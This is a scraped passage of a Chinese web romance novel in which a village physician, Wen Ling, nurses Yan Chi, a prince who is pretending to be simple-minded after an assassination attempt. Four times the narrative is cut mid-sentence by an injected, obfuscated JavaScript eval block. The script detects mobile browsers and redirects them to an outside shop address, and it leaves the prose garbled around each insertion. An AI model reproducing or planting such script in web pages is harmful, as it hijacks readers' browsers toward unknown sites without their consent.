温泠被屋里突然传来的声音打断了思路,她搁下笔,习惯性地朝阿迟那边看去。 他、他居然醒了!! 她心头猛然一震,急忙朝阿迟跑去,用力地抱住了他。 这会归燕迟呆愣住了,他没想到这不知礼数的女子居然会冲过来抱住她,更没想到她与自己梦中那人的脸完美重合。 骤然,一大股不属于他的记忆接二连三地涌进他的脑海之中,他头痛欲裂。 全都是那傻子的记忆。 明明与他毫无干系,为什么他却能感受到那傻子与她在一起时喜悦,以及见到她被人欺负时的愤怒、悲伤。 以至于她现在抱着自己,内心就有一种难以言喻的欣喜之意。 察觉到他的身体有些僵硬,温泠不好意思地放开了他,实在是她太激动了。 她连忙擦干眼角的眼泪,急切关心道:“阿迟,你终于醒了,你知道我有多开心吗?你现在还有哪里不舒服吗?头痛不痛?” 一连串的问题劈头盖脸地朝燕迟砸来,让他有些不知所措。不过一瞬,他立即恢复了自然,回忆起那傻子的语气,模仿着他说:“阿迟不痛。” 目前他虽然恢复了记忆,但部下还未找到他,以防万一,还是装作一个什么都不知道的傻子更好,毕竟谁都不会对一个傻子起疑。 可他忘了,语气能模仿,眼神却骗不了人。 温泠从来没有在阿迟身上看见过如此冷漠的神情,心中有些疑惑,但转念一想,许是他昏迷太久,身上还未完全恢复。 如此一想,便好多了,毕竟他醒过来就算得上是天大的好消息了。 “你坐着别动,我去给你把药端过来。”一高兴她差点忘了桌上还放着药,再不喝就该凉了。 “好。” 燕迟面上这么答应着,心里却在盘算该如何与自己的部下联系,早日离开这个鬼地方。 温泠将药端来,坐到他身侧,熟稔地给他喂药:“来,阿迟张嘴。” 他本想拒绝,可这副身体就像不是自己的一般,不受控制地张开了嘴。 药汁入喉,唇齿皆苦,他只尝了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450476|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口便不肯再喝了。 “阿迟这样不乖哦,往日你可都喝完了。”温泠见他这样,忍不住皱眉。 燕迟不禁心中暗骂:“无知的蠢货,这般难喝的药狗都不喝。” 不过为了不让她怀疑,他硬着头皮将药全喝了。 “阿迟真棒。” 说着,她像奖励似地摸摸他的头。 燕迟感觉自己受到了莫大的侮辱,从来没有人敢这般对他。他气得牙痒痒,恨不得将这村妇的手剁下来喂狗,可偏偏他眼下还要在她面前装作一副乖顺的样子。 简直是奇耻大辱。 等他恢复身份,一定要将她碎尸万段,以解心头之恨。 “阿迟这么久都没有吃过东西了一定饿了吧?阿姐去给你弄些吃食来。” 燕迟挤出笑意,尽量让自己看起来更加自然:“谢谢阿姐。” 待她走远后,他起身下床,顺着记忆来到柜子旁,直接打开了最下面那一层。 是他被人刺杀那晚穿的衣服,已被人洗干净,甚至好缝补好了。 他不甚在意,反正这衣服他也不会再要了。燕迟将衣服展开,里面什么都没有。 他的玉佩去哪了? 他不动声色地将衣服重新叠好塞进柜子里,走到桌边坐下。 温泠想到他刚醒,便只给他熬了点白粥,配上些许青菜。她将饭菜端进屋时,阿迟坐在桌边,撑着头不知在想些什么。 他这次醒来之后好像变得更加沉默了。 “阿迟,我来了。” 她笑着将粥放到他面前:“快来尝尝。” 燕迟看着桌上的白粥青菜,毫无食欲,但他别无选择,只能动筷。 刚一下肚,便后悔了,他从未吃过如此难吃的食物,要不是看见她也吃了,他都要怀疑这蠢女人莫不是把喂猪吃食的给他吃了。 “可还合胃口?”温泠见他神色有些不太对,便多问了一句。 有一瞬间,燕迟不想跟她玩扮演傻子的把戏了,话到嘴边,他硬生生地转了个弯:“甚、好。” 他几乎是压着牙将这两字说出口。 “喜欢就多吃一点。”于是温泠又给他添了一勺,生怕他不够吃。 “……” 成大事者,不拘小节。 他忍。 吃好之后,温泠收拾好桌子,端着空碗离去了。等她彻底走远之后,燕迟喉间一紧,立马跑出屋,寻了处隐蔽的地方呕吐起来。 先是呕出一阵酸水,随后将刚才的吃食尽数全吐了出来。 他闭眼努力平复好自己的情绪,思考着下一步的打算。 可没过一会,胃里便又如同翻江倒海一般,他发誓就算饿他也不会再吃那女人做的饭菜。 而温泠这一边,她神情冷漠地看着手中的空碗,脑海里浮现出刚才阿迟醒后种种怪异的表现。 不,他不是阿迟,或许应该叫他燕迟。 可她没想明白的是,既然他已经恢复了记忆,为什么还要在她面前装疯卖傻,故意欺骗她。 她唇角勾起一抹淡笑,他既然想和她演戏,那她便陪他演下去,她倒要看看他想干什么。 或者,她正好可以利用他一番。 5. 两年 春去秋来,李怀走时院子里的柳树还刚种下,而如今两年过去了,早已长得枝繁叶茂。风一吹,那绿如翡翠的柳条就随风舞动,倒是增添了别样生机。 燕迟,也在李家村待了两年。 这两年来,温泠对他愈发得好,不仅在冬天亲自为他浣洗衣物,甚至只是染上了小风寒,她也着急得不行。 有时候,他几乎要分不清这份好是对他,还是对死去的阿迟。 不过总归,他办完事就会离开这个寒酸的地方了,她对他再好,终究也是徒劳。 “阿迟,别发呆了,再不去赶集我们可就什么都买不到了。” 温泠本是打算今日起早些去镇上买些东西,奈何昨晚睡得有些晚,故而今早起得稍微迟了些。 她看着坐在一旁的燕迟,这两年来他依然很是沉默,甚至有时他一个人可以在同处地方坐上一天。 也不知道在想什么。 “阿姐,我来了。”燕迟甚无感情地应了一句。 他本就生得高大,站在她身旁,像堵墙似的,显得更加具有威压感了。 她突然脚步一崴,若不是他眼疾手快地扶住了她,她今日就别想出门了。 “阿姐,小心。” 他贴耳对她说着,因靠得很近,热气打在她耳朵上,引起阵阵颤栗。 温泠脸上发烫,立即和他拉开了距离:“阿迟,时间不早了,我们快走吧。” 燕迟眼里闪过一丝玩味,有时候觉得逗逗她还挺好玩的,像极了一只不会咬人的兔子。 他刚才拉了她的手腕,这会那温软的触感还停留在他指尖,久久未散。他将手指放在鼻下轻嗅,上面还有一股若有若无的草药香。 自从有一次他怎么都不愿她把他脸涂得黑黢黢之后,她便不再坚持帮他掩盖容貌。 幸运的是,倒还没惹出什么祸事来。只是每次带着这种俊俏的脸招摇过市时,总有一些胆大的女子盯着他们看。 “阿迟下回还是将脸遮起来好,免得惹得其他小娘子动了春心。”温泠忍不住打趣他。 燕迟觉得她说的有些道理,他确实被看得有些不耐烦了,恨不得将他们的眼睛全剜了扔去喂狗,真是一群不知死活的刁民。 “阿姐,漂亮。” 温泠一听这话,脸上的笑意更浓了:“阿迟的嘴变得愈发甜,现在都会哄阿姐了。” 他只是一味地看着她,没有说话。 在温泠采买东西时,燕迟借着肚子不舒服去了茅房。等到完全离开了她的视线,他便不再伪装,径直地走进了一个偏僻的巷子里。 没过多久,一个黑衣人便从天而降,单膝跪在他面前:“主上。” “近日京城那边如何?”燕迟倚靠在墙边,浑身上下透露出一副矜贵无比的样子。 “回主上,半年前贤王遭敌暗算,从马上摔下,摔断了腿。而如今听说贤王得了重病,似乎命不久已。陛下念及贤王征战有功,特意点了温家嫡女做王妃,其中意思不言而喻。” 他发出一声冷笑:“呵,你说我们这温大人愿意将自己的女儿嫁给一个残废了的王爷,更别说他还是晋王那边的人,父皇真是打得一副好算盘。” 那黑衣人没敢接话。 “回去继续盯着,一有消息立马来报。同时让我们的人抓紧找出晋王贪污的把柄,我可要等不及回去喝大皇兄的喜酒了。” “是。” 这两年时间里,他早已和属下取得联系。至于为何还要留在这里,自然是为了送给晋王一份“大礼”。他就不信,当初刺杀他的人跟晋王没有半分关系。 呵,走着瞧吧。 温泠在原地等了好一会儿,燕迟才出现在她面前。 “怎去了这么久?是吃坏肚子了吗?”她神色担心地看着他,语气中满是关切之意。 燕迟已习惯她这般关心自己的模样,但却并没有多放在心上,能让他屈尊降贵唤她一声阿姐便是对她天大的恩赐。 “阿姐,我饿。” “那我们回家。”温泠自然牵过他的手,带着他往前走。 这条路他们俩一起走过很多次,每次她都会牵着他,生怕他走丢了。 因常年钻研医术,她的手不像京城中女子的手那么细腻光滑,指腹间有一层薄茧,掌心上还有被药锄割出的细小疤痕。 他跟在她身后,任由她拉着自己,反正他也习惯她这样做了。 燕迟一路上都没怎么说话,只是垂眸看着两人相握的手,神色深沉。 他们快进入李家村时,一群顽童突然跑过来将他们团团围住,一边转圈一边嘴里唱着:“傻子入村,全村烦心。傻子入门,百事不宁!” 更有甚者捡起路边的小石子朝他身上扔过去,温泠见了立即挡在他面前,不让他受到一点伤害。 “快滚开,小心我告诉你们爹娘!” “略略略!”为首的男孩子干完坏事,扯了个鬼脸,便带着那群孩子跑走了。 温泠转身去看燕迟,着急说道:“阿迟你没事吧,他们有没有砸到你?他们都是瞎说的,不用放在心上。我等会就去告诉他们爹娘,好好教训他们一顿……” “阿姐,回家。”他自然没将这些小把戏放在心上,只是温泠她这副比他还在意的样子让他有些茫然,刚才他分明看见有颗石子砸到了她脸上,她却一声没吭,反而来关心被挡住的他。 有时候他觉得她更像一个傻子。 温泠见他无事,便放心下来,拉着他的手,嘴里一直念念叨叨着今晚应该吃些什么。 就当说道她今晚准备亲自烧饭时,燕迟出声打断她:“阿姐,我来。” 自从两年前那顿让他难以下咽的粥之后,为了能安心吃上一顿,这些年来一直锦衣玉食的他,竟然也学着那群低下的仆人一样亲自烧火煮饭。 虽然比不上宫廷里的佳肴,但至少比这个想用饭食谋害他的女人强。 温泠不知道为什么不管是李怀还是燕迟,都这么喜欢进灶房煮饭,一点让她动手的机会都不给。 “那好吧,今日还是阿迟来。” * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450477|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “泠娘!” 听这声音,好像是叶临舟。这两年他们走动的更加频繁,两人也更加熟稔。 “叶先生!”温泠松开牵着燕迟的手,快步朝他跑去。 燕迟盯着自己空荡荡的手,心中缓缓升起一阵不爽之情,他最厌恶的就是像叶临舟这种白脸书生。 不过话又说回来,之前他没怎么注意,今日一看,他似乎有些眼熟,像是在哪里见过一般。 他眯着眼,心中盘算着下回让照墨去调查一下他的底细。 温泠来到他面前,今日他身着青衣,身上那股温润尔雅的气质显得益发突出。 见他一直看着自己,叶临舟面上不禁泛起红色,隐隐有些发烫:“泠娘怎一直看着我,难道我脸上有脏东西?” “不是,只是觉得这衣裳很称你。”她大大方方说道。 “对了,干站在门口算什么事,来,快进屋坐会。” 温泠连忙带着他进了院子,而一旁的燕迟早被她忘在了脑后,他简直都要被她气笑了。 从来还没有人敢这么不把他放在心上,等他恢复了身份,一定要…… “阿迟,快进来呀!”下一秒,她就探出头,挥着手让他进来。 算她识趣,燕迟不跟无知村妇一般见识。 温泠放下手中的东西,问道:“阿怀可是回信了?” 两年过去,前一年李怀还时不时写信回来,告诉她军营中发生的趣事。而这半年,明明听说前线的战事已结束,可阿怀却是一点消息都没有。 这不得不让她担忧起来。 “暂无。”叶临舟看着她失望的神情,安慰道,“泠娘不必忧心,要是真出了什么事官府会派人来告知亲属。说不定阿怀被那位将帅重用,带回京做大事去了也是有可能的。” 温泠也希望真的是这样,她望着院中的柳树,心中想着阿怀他过得好不好,有没有想她。 “其实今日来我还有一件事想要泠娘帮忙。”叶临舟开口说道。 她笑道:“以我俩的交情,叶先生直说便是。” “我长姐素有咳疾,之前有大夫开了药方吃了好久却不见效果,还望泠娘帮我看看。”说罢,他拿出药方子递给温泠。 她一看纸上的内容,不禁皱眉:“按理来说这些都是治疗咳疾的草药,只不过……” “只不过什么?” “有一些草药药性相冲,不仅没有功用,吃久了还会伤身。不如这样,我明日上山帮你采一些草药回来,让你阿姐吃上几天,或许就好了。” “那就麻烦泠娘了。” 叶临舟本不欲再叨扰她,但温泠见他还未吃过饭,干脆就拉着他留下一起吃。 燕迟要是知道他今日会留下来,他说什么都不会动手,还不如让温泠来。 一旁的温泠见燕迟黑着脸,忍不住疑惑道:“阿迟是不是心情不好?” 叶临舟也闻声抬起头看着他。 燕迟见着他这张脸,心中烦躁不已。但他还是要装出一副痴傻样:“阿姐,好饿。 6. 遇险 隔日温泠便进山采药,燕迟也随她一起。山路难走,一不留神就有可能踩空,除此之外,还隐藏着其他未知的危险。 但温泠独自上山多次,早已对这里无比熟悉,甚至哪里藏着兔子窝她也一清二楚。 “阿迟,你还记得吗?当初我就是在这里遇见你的。”她用手指着前面不远处,“那时你浑身都是血,若不是你突然拉住了我,我还以为早已经死透了。” “……”虽然她说得是实话,但为什么燕迟听起来这么不舒服呢。 她继续说着:“大抵行医者都怀有一颗善心,见你的第一面便觉得亲切,想着不管怎么都要将你救活。所以阿迟,你会一直陪着我吗?” 换作是燕迟,他肯定不会随随便便将人捡回去,更何况还是个来路不明的男人,说不定还会惹来杀生之祸。 他看着她的背影,无法想象着她一个人是怎么一步一步将他背回家,为了他的伤势四处采药,夜不能寐,等着他醒来。 一想到这里,他的心口好似被什么狠狠攥住,酸意顺着血管蔓延,直至全身。 “阿迟,阿迟?你又在想什么呢?”温泠发现他走神越来越严重了,和他说话动不动就没有反应。 燕迟紧紧抓住在他眼前晃动的手,恨不得将她揉进骨子里。 “嘶——”她的手被他攥得生疼。 “阿姐……” 温泠的声音将他从情绪中扯了回来,他急忙松开她的手。因着过于用力,本就白皙的手腕立即显现出一道红印子,无比刺眼。 “我无事,只是你——你的眼睛怎么这么红?” 燕迟情绪激动时眼周就容易泛红。 “眼睛,沙子。”他的语气有些沉闷。 “你想说的是眼睛里面进沙子了对不对?来,阿姐帮你吹吹。”说着,她便踮起脚尖,轻柔地朝他眼里吹气。 此时两人的距离不过分毫,燕迟能够清清楚楚地看见她脸上细小的绒毛,还有她鼻尖那颗褐色小痣。 她身上的气息将他团团包裹住,让他无处可逃。他忽然感觉到有些口渴,不自觉地咽下了口水,喉结暗暗上下滚动。 因为他太高了,温泠不得不扶着他才能保持平衡,她的手恰好搭在他的心口处。 燕迟从未觉得自己的心跳得像此时这般快过,再跳下去,他感觉心脏就要炸开了。 他不得已往后退开一步,与她拉开了距离。可她的手还搭在他身上,他突然一动,温泠没有站稳,一下子摔进他怀中。 这下两人彻底贴紧了。 以往在京城的时候,无数佳人对他投怀送抱他都不屑一顾,像假装摔入他怀中这种把戏更是见得不知有多少了。 在温泠还没跌入他怀中的那一刻,他就应该躲开。可他的脑子如同宕机一般,看着她摔进了自己怀里。 他的手也下意识地将她抱住。 最新反应过来的是温泠,她迅速挣开他的手臂,和他拉远了距离。 他感觉自己的心突然空落落的。 “好了,你再眨眨眼,这下沙子应该吹走了。” 她丝毫不在意刚才那个小插曲。 燕迟这才回过神来,他刚才都是些什么蠢想法?她不过一个粗鄙的村妇罢了,等他恢复了身份,什么样的大家闺秀找不到? 刚才如此动作,她已是僭越,他没将她的手剁下来就是对她最大的容忍。 他这般一想,那股旖旎的心思顿时消失得无影无踪。 温泠转过身去,没再看他。她见不远处生长着一株车前草,刚好是她需要的。 可是,就当她蹲下时,不知从哪里突然冒出一支箭,“嗖”的一声,从她头顶擦过,直直地插进身后的树上。 还没等她反应过来,另一只箭已然出弦,直指燕迟心口。 他躲开得不及时,箭从他手臂处擦过,里面划出一道血口来。温泠瞬间明白过来这些人很可能是他的仇家,来不及细想,她拉起燕迟的手就往深山里面跑。 没人比她更熟悉这里。 “追!”看来刺杀他的人还不止一个。 本以为只要将他们甩开就安全了,可不一会儿,燕迟猛地吐出一口黑血来,嘴唇发乌,脸上血色全无。 温泠急忙停下,她用手沾血取到自己鼻下,皱着眉说:“不好,你中毒了。” “阿姐,你、你走,别管我。”燕迟那条手臂已然没了知觉,他感觉毒素正在他体内蔓延,用不了多久,全身都将不能动弹。 而此时,他决定先支开温泠,然后再想办法与自己的属下联系。 “你在说什么胡话,阿姐怎么会丢下你一个人逃跑!”她顺着记忆找到了一处洞穴,这地方很隐蔽,一时半会他们不会追上来的。 她扶着燕迟靠墙坐下,眼下她手中没有现成的布帛,“嘶啦”一声,她毫不犹豫地将自己的裙子撕开,将撕下来的布条紧紧缠在他伤口上方,防止毒素蔓延到心脏。 燕迟此时难受得厉害,额头处不停冒着冷汗,意识也逐渐变得模糊,连温泠的声音就像是从很远的地方飘进他的耳中。 一直待在此处也不是办法,但燕迟目前的状态实在糟糕,根本不可能赶路。 她心下一急,对他说道:“阿迟你就在此处乖乖等我,我、我去给你寻血能暂时压制毒性的草药,起码能缓解一下痛苦。” 这倒是遂了燕迟的愿,他撑着几分意识,虚弱地说:“好……” 温泠走时,特意又用一堆杂草将洞口掩盖住,弄好之后她才安心离去。 “阿姐,阿姐?” 见她确实离开,燕迟用另一只手朝自己怀中摸去,只要他将信号放出,他的属下就会知道他遇险,立即赶过来了。 可事实却不是如此,他那处什么都没有。是他大意了,今日温泠给他换了新衣,他忘记带在身上了。 燕迟尝试起身,可全身无力,翻身都无比艰难。他闭上眼睛,压制住内心的烦躁之意。 他只能将希望寄托在温泠身上了。阿姐,你可别让我失望。 不知道过了多久,温泠还没有回来。他死死盯着洞口,天已经全黑了,可全然不见那女人的身影。 呵,他早该想到的,带着他本就是一个拖累,还说是去为他找药,何必说的这么冠冕堂皇。他本就说了让她离开。 她倒还真的将他抛下了。 他收回视线,整个人完全没入黑暗之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450478|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,痛意啃食着他的神经。此时此刻,他无比地想杀人。 走了啊,走了好啊,那她最好死在外面,别再出现在他眼前,否则他会让她死得更惨。 从未有人敢骗他,敢将他独自丢下。 好啊,真是好啊。 “哈哈……”一阵诡异的笑声在空荡的洞穴间响起,无比瘆人。 他要是真死在这深山之中,他做鬼也不会放过她。一个卑贱的村妇,竟也有胆子敢哄骗他。 真是好的很啊。 “阿迟,阿迟?你坚持住,阿姐回来了。”意识涣散之际,他好像又听到了那女人的声音。 可声音过于飘忽,他怎么也抓不住。 温泠运气很好,刚走不远就遇见了几株能缓解痛苦的草药。可没过一会,就有几个黑衣服在这附近搜寻。 为了不引起他们注意,她只能躲在深草之中。本以为这样就没事了,但她看见他们离燕迟藏身之处越来越近,紧急之下,她只能故意暴露自己,引他们离开。 她跑得太急,一不小心被树根绊倒,从高处滚了下去。那群黑衣人见只有她一人,便没有对她痛下杀手,跑去别处搜找。 温泠拼命将草药护在怀中,她忍痛从地上爬起来。虽然她身上的衣服都被树枝划破,手臂上多了几处伤痕,浑身也全是泥土,狼狈不堪。 但想到燕迟还在等她回去,她不敢耽误,顾不得身上的伤势,急忙往回走。 好在,他没有被人发现,只是昏过去了。 温泠将草药塞进嘴里,苦意瞬间在她嘴里弥漫开来。待差不多嚼烂之后,她将它们敷在他的手臂上。 剩下的她混杂着水囊中的水给他灌了下去,只不过大半都洒了出来。 她随手在地上捡一块木片,将一头放入他嘴中,水顺着另一头流了进去。 这还是李怀教给她的方法。 将这些做完之后,看着燕迟脸色没有之前那么苍白,她逐渐放下心来。 提心吊胆地过了一天,她已经疲惫不堪,便靠着燕迟的肩膀睡了过去。 第二日燕迟逐渐恢复了意识,身子虽然依旧有些使不上力,但至少还能动弹。他一转头,便发现旁边还有一个人。 他下意识地往那人脖间掐去,下一瞬他迅速收回手。 居然是温泠,看来不是他听错了。 她又回来了?她竟没有抛下自己。 燕迟垂眸,发现自己的伤口处还敷着草药,难怪他今日恢复了一些,她真的是去给自己找草药去了,她真的没有抛弃他。 一想到这里,那股莫名的感觉又出现在他心中,胸口像是被什么东西摁住一般,他有些喘不过气来。 他重新将视线转移到她身上,她的衣裙本来就被她撕毁,如今更是破得不成样子。手臂上多出来几道伤痕,已经结痂了。 脸上、发丝上也都沾染着泥土,不知道得还以为她掉进泥坑了。 所以,她昨天发生了什么?怎么把自己弄成这副鬼样子。 就这般想着,他的手不受控制地朝她脸上摸去,他想将她脸上的泥擦干净。 还没触碰到她,温泠就缓缓睁开眼,语气惊喜道:“阿迟,你醒了!” 7. 念起 像是做贼被人抓包一般,他心里居然感觉一丝心虚,连带着他的耳朵都有些发烫。 “欸,你也没生热症啊,脸怎如此之红?”温泠将手贴在他的额头处,细细感受着。 “我、不……阿姐。”燕迟眼下连话都差点说不清,干脆就不说了。 温泠见他无事,又听他张口了半天只喊了一声阿姐,便忍不住笑了出来:“阿迟怎么连话都说不清楚了?别怕,那些人都被我引开了。” “幸亏我跑得快,才没让他们抓住。阿迟,你说我厉不厉害!”明明是一件很危险的事情,一不小心就会没了性命,可为何她说得如此轻巧。 莫不是脑子摔坏了?燕迟黑色的眼眸直勾勾地看着她,说道:“阿姐,苯。” 把自己搞成这副狼狈的模样,笨死了。 “没大没小!怎么说你阿姐呢!”温泠故意装作生气般瞪了他一眼。 说罢,她又瞧了洞口,站起身来:“我们还是快些回家吧。” 此时,正好一束光从外面照射进来,打在温泠身上。 燕迟的眼睛一瞬不瞬地望着她,她如同深渊中突然出现的救世者那般伸出手:“阿迟,我们回家。” 那一刻,一股热意从他心里急速炸开,一直从心脏蔓延到全身,让他浑身颤栗。他的指尖无意识攥紧,心在胸腔内狂跳,如同战场上的奔腾的万千战马声般,愈演愈烈。 待一切归于平静之后,他只能听见她的声音。而此刻,他的眼里也只有她。 “好,回家。”他听见自己这样回答,沙哑的嗓音底下是掩盖不住的颤抖。 唯有此刻,是燕迟真正回应她。 * “泠娘你们回来了!你们这是?” 叶临舟见到他们,急匆匆地上来帮温泠扶着燕迟。 她迟疑了一下,最终还是没将实情说出来:“不小心遇见一头野兽,阿迟为了保护我受伤了,只好在山林中待了一晚。” “你们没事就好,昨日我见你院子还锁着,就猜测你们许是还未回来。想着今日若是还未归,就准备亲自上山寻你们了。 如今见你们身上有伤,我内心愧疚不已,若不是泠娘愿意帮我,也不会……” 燕迟心中本来就烦,一听他拉着温泠说了一顿无关紧要的屁话,他更加没有耐心了,直接出言打断他:“阿姐,我疼。” 说罢,还不住地捂着自己的心口,拧起眉头,任谁看了都觉得可怜。 一听到他喊痛,温泠立即将视线转移到他身上,语气焦急道:“怎么又开始疼了?我们还是先进去,阿姐给你拿药。” 只有叶临舟站在一旁不知所措,看着他们远去的身影,他才反应过来,随即抬脚跟上。 幸好不是剧毒,温泠屋里还有些她自己研制的解药,刚好可以派上用场。 昨日草药混杂着水洒了他一身,温泠给他服好药之后便让他将衣物全部都换下来,趁着他换衣服的功夫,她自己也烧了桶热水去清洗。 他们的屋子并不隔音,再加上燕迟耳力很好,她那边的动静他听得一清二楚。 这可不是君子之道,虽然他自认为自己不是品行高尚之人,但偷听一介村妇洗澡着实与他的身份不相配。 他努力让自己不要被杂音给扰乱了心智。 燕迟忽然盯着那件弄脏的衣裳,衣领处全是水渍印。 他有些好奇,她是怎么在自己昏迷的情况下喂他喝进去的? 温泠费了一些时间才出来,她洗了头,眼下发梢还滴着水,水珠顺着脖子一直往下深入。 想到那是什么,燕迟迅速将视线收回,不敢再看。 叶临舟没有冒然进屋,只是在院子里面安静等候。若不是温泠出来,她几乎都要忘记他还在这里了。 “瞧我这记性,让叶先生多等了。”这时她已经收拾好了,便直接请他进了屋。 她以为叶临舟会问她治疗咳疾一事,没想到他先是犹豫了半天,才开口道:“在下下个月即将去京城。” 温泠倒是觉得惊讶,没想到他会告诉他这些,更没想到他就要离开这里。也是,叶临舟虽然只是一个教书先生,其谈吐言行却不似常人,怎么可能会一辈子待在这偏远乡野之间呢? 就算是她,也不可能会一直待在这里。那她什么时候能回京城? 她不着痕迹地看向燕迟,心里那份计划已经有些动摇。 “所以泠娘——”他又忽然说道,“其实我心悦你好久了,你可不可以跟我一起去京城?我发誓,我一定会好好待你的。” “我……”温泠被他这一番弄得不知所措,她确实对他有一些好感,但也没到那种地步。 “泠娘你我知道你一时难以接受,我可以等你,等你想好之后再告诉我,至少别这么快拒绝我,行吗?” 叶临舟欲想上前拉住她的手,可还没碰到,就被一股力量推到了一旁,撞到了身后的桌子上。 “阿迟?” 温泠一脸惊愕地看向他,随后便急忙去扶叶临舟:“叶先生你没事吧?” 他勉强挤出一丝笑容,依旧保持着那副君子作风:“无事。” “刚才那事,你、你容我想想,过几天再给你答复。” “好。” 等送走了叶临舟,温泠神色严肃地站在燕迟面前,语气不像平日般温柔:“阿迟,你刚才为什么要推先生?你知不知道,这样不合礼数。” 不、合、礼、数。 呵呵,真是可笑,居然还有人敢跟他将不合礼数。难道他叶临舟此般行为就合礼数吗?! 冒然向一位孤身女子表明心意,还说什么带她去京城,谁知道他会不会反手就将她卖了。 毕竟他见过的肮脏事情可不少。 若不是他及时打断,恐怕她一口就答应了。他怎么会和如此愚笨不堪的女子待在一处,简直将他一同给玷污了。 明明他好心好意帮她,如今却还说自己不合礼数。 他恨不得将她脑子给挖出来看看,看着里面是不是被什么狗屁男女情爱堵住了。 此村妇简直不可理喻! 燕迟心里已然气极,却还得装出一副傻子模样,若不是不想过早暴露身份,他早就离开这鬼地方了,何必还要和她装疯卖傻。 “阿姐,不走。” 他极力压制住自己心中的怒火,尽量不要让她看出来有什么异样。 他是不想让她和叶临舟一起去京城才这样的吗? “那阿迟想不想和阿姐一起去京城?”她换了一种问法。 “和阿姐一起。” “那阿迟你要乖一点,阿姐就能一直和你在一起。”说着,温泠顺手就摸上了他的头。 燕迟刚开始是很反感她这个行为,莫不是把他当狗了不成? 后面次数多了,他竟也习惯了。 听她这句话,他便以为温泠的意思是不会和叶临舟去京城,心中那股愤懑立即便烟消云散。 看来这村妇也不是那么笨。 “阿迟会乖的。”他回应道。 夜里突然下起了暴雨,窗外大雨滂沱,雨水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450479|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唰唰”地从屋顶流下,强劲的雷声隆隆作响,惹人心烦。 屋内却一片安详,一盏烛灯,暖色灯光映照在木屋间,让人感到无比安心。 温泠也是偶然间知道阿迟居然会害怕打雷。那日也是这般暴雨,她本是出去看院子里面的东西是否都收进来了,意外发现阿迟屋子里还点着灯。 她习惯性地朝屋子里面问了一句:“阿迟,这么晚了还没睡啊?” 屋内却无人回应。 犹豫之下,她推门而入。 燕迟用被子裹着全身,一个人缩在角落中。她快步朝他跑去,近看之下才发现,他死死抿着发白的嘴唇,肩膀不受控制地发着颤。 “阿迟,阿迟?你怎么了?”情急之下,她只好将他揽入怀中,用手轻轻地抚摸着他的后背。 忽然,外面一声雷声响起,燕迟抖得更加厉害了。 她好像明白了什么。 “你是不是怕打雷啊?没事没事,这不是还有阿姐在你旁边吗?不用害怕。”她嗓音轻柔,让人不免沉醉其中。 这时他的意识渐渐恢复,眼角还泛着红:“阿姐……” 他回抱住了她。 就这样,温泠陪了他一整晚。后来每当下暴雨时,她就会和他待在一处。 有时会她会跟他念一些话本子,有时他们只是静静地待上一晚,什么也不说。 此时燕迟躺在床上,温泠拿着书,坐在床侧给他念故事。 “鹂娘本是一位普通的农家娘子,有一日她像往日一般去农田干活,却发现一位浑身是血的郎君躺在地上。她走近一看,嘿,阿迟你猜她看见了什么?” “他死了。” “说啥呢,要是死了这不就没故事可讲了吗?”她继续说道,“她从未见过如此英俊潇洒的郎君!犹豫之下,她将他捡了回去,好生养着。 “……”燕迟竟无言以对,顿时不想听这个破话本子了。 “后面那位郎君醒了,说自己本是富商的儿子,他爹意外身亡,家里那群亲戚便想将他杀害,独吞财富。鹂娘一听,顿时对他心生怜悯。 然而,那郎君的真实身份是当今太子。他们在一起相处了一年时光,这一年里鹂娘拿出所有的积蓄给他治病,帮他打听消息。 鹂娘以为他们是两情相悦,便心甘情愿为他付出一切。不久后,太子的部下找了过来,就在他们成亲那日,太子下令让人一把火烧了这里。 鹂娘便死在了那场大火里……欲知后事,请听下回分解。” 怎么后面还有? 温泠读到最后,眉头缩紧,心想这都是什么离奇故事。 她一把将书合上,她倒想看看这书的叫什么。只见上面写了一行大字: 《我死后太子追悔莫及》 “……” “……” 